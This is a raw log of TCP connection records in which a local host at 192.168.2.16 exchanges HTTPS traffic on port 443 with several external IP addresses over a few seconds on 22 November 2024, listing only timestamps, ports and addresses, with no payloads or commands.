Nov 22, 2024 22:59:38.250185013 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.251205921 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.251291990 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.251657009 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.251734972 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.251960993 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.251979113 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.260056019 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.260304928 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.260320902 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.261768103 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.261845112 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.262178898 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.262273073 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.262386084 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.262401104 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.304264069 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.304264069 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.404599905 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:38.404690027 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:38.404800892 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:38.404887915 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:38.404943943 CET	49715	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:38.404962063 CET	443	49715	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:38.468401909 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:38.468458891 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:38.468667030 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:38.469116926 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:38.469136000 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:38.537817001 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.537858009 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.537887096 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.537908077 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.537925959 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.537961006 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.538005114 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.538011074 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.538047075 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.546127081 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.554584026 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.554640055 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.554649115 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.562869072 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.562907934 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.562985897 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.562988997 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.563047886 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.563169003 CET	49716	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.563208103 CET	443	49716	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.571034908 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.571101904 CET	443	49721	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.571202993 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.571688890 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.571712971 CET	443	49721	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.705751896 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.705802917 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.705837011 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.705871105 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.705908060 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.705919981 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.705986023 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.706026077 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.706101894 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.714099884 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.722444057 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.722505093 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.722538948 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.723987103 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.724292994 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.724359989 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.724376917 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.724476099 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.724735022 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.724750042 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.726049900 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.726157904 CET	443	49717	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:38.726248026 CET	49717	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:38.729495049 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:38.729554892 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:38.729636908 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:38.729927063 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:38.729957104 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:38.730467081 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.730596066 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.730612040 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.778280973 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.825853109 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.856255054 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:38.872299910 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.872323036 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.910696030 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.910746098 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.910826921 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.910872936 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.912460089 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.918446064 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.921591043 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.924474001 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.924494982 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.937064886 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.937128067 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.937150955 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.937171936 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.937297106 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.944792986 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.952636957 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.952689886 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.952781916 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.952826023 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.953124046 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.960445881 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.968236923 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.968301058 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.968317986 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.974659920 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.974947929 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.974965096 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.981261969 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.984466076 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.984482050 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.994232893 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.994301081 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.994368076 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:38.994400024 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:38.996460915 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.000596046 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.047297001 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.108099937 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.110268116 CET	49673	443	192.168.2.16	204.79.197.203
Nov 22, 2024 22:59:39.110460043 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.110554934 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.110604048 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.119946957 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.120038033 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.120094061 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.120111942 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.120143890 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.129277945 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.129358053 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.129371881 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.129436970 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.133778095 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.133850098 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.142466068 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.142484903 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.142546892 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.151292086 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.151345968 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.151365042 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.151817083 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.155813932 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.155932903 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.164572954 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.164664984 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.173261881 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.173343897 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.182015896 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.182111979 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.186541080 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.186620951 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.195259094 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.195348024 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.199682951 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.199764967 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.208417892 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.208496094 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.208575010 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.208584070 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.208605051 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.241216898 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.241554976 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.241636038 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.242774963 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.242996931 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.243268013 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.243362904 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.243432045 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.283252001 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.283277988 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.332281113 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.415360928 CET	443	49718	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.415460110 CET	49718	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.698235035 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.698285103 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.698314905 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.698383093 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.698421955 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.698477030 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.698523998 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.698538065 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.698617935 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.698632956 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.706778049 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.706832886 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.706861019 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.723395109 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.723459005 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.723474026 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.775283098 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.817673922 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.820055008 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:39.820096970 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:39.820194006 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:39.821593046 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:39.821607113 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:39.871267080 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.871293068 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.874947071 CET	443	49721	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.875202894 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.875227928 CET	443	49721	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.876688004 CET	443	49721	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.876754045 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877125025 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877144098 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877198935 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877207994 CET	443	49721	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.877262115 CET	49721	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877492905 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877521992 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.877604961 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877860069 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:39.877870083 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:39.890703917 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:39.890779018 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:39.892281055 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:39.892287970 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:39.892525911 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:39.895931959 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:39.903326035 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.903400898 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.903418064 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.912903070 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.912954092 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.912966967 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.912997007 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.913120031 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.920875072 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.928870916 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.928909063 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.928972960 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.929002047 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.929074049 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.936810970 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.939337969 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:39.944778919 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.944860935 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.944880962 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.952831030 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.952992916 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.953001022 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.960783958 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.960886955 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.960896015 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.967240095 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.967297077 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.967303038 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.980163097 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.980238914 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.980266094 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.980333090 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.980412960 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:39.986468077 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:39.994319916 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:39.994625092 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:39.994679928 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:39.996361017 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:39.996444941 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:39.996825933 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:39.996916056 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:39.997010946 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.031267881 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:40.043338060 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.047261953 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.047287941 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.063257933 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:40.095284939 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.100711107 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:40.100816965 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:40.100869894 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:40.101089001 CET	49719	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:40.101108074 CET	443	49719	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:40.418879986 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:40.418955088 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:40.419029951 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:40.419840097 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:40.419857979 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:40.419874907 CET	49720	443	192.168.2.16	23.218.208.109
Nov 22, 2024 22:59:40.419882059 CET	443	49720	23.218.208.109	192.168.2.16
Nov 22, 2024 22:59:40.445394039 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.445705891 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.445785999 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.445816994 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.445846081 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.445933104 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.445976019 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.453628063 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.453814983 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.453845978 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.462009907 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.462121964 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.462137938 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.476416111 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.476449013 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.476696968 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.476887941 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.476897001 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.510288954 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.510324001 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.558298111 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.564784050 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.606276035 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.606302023 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.650238991 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.650329113 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.650338888 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.650391102 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.650439978 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.658005953 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.661106110 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.661257029 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.661274910 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.676615000 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.676697969 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.676712990 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.676912069 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.677069902 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.677180052 CET	49722	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.677215099 CET	443	49722	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.680032969 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.680105925 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:40.680214882 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.680531979 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:40.680560112 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.139636993 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.139974117 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:41.140019894 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.140506983 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.141089916 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:41.141186953 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.141231060 CET	49724	443	192.168.2.16	104.21.94.21
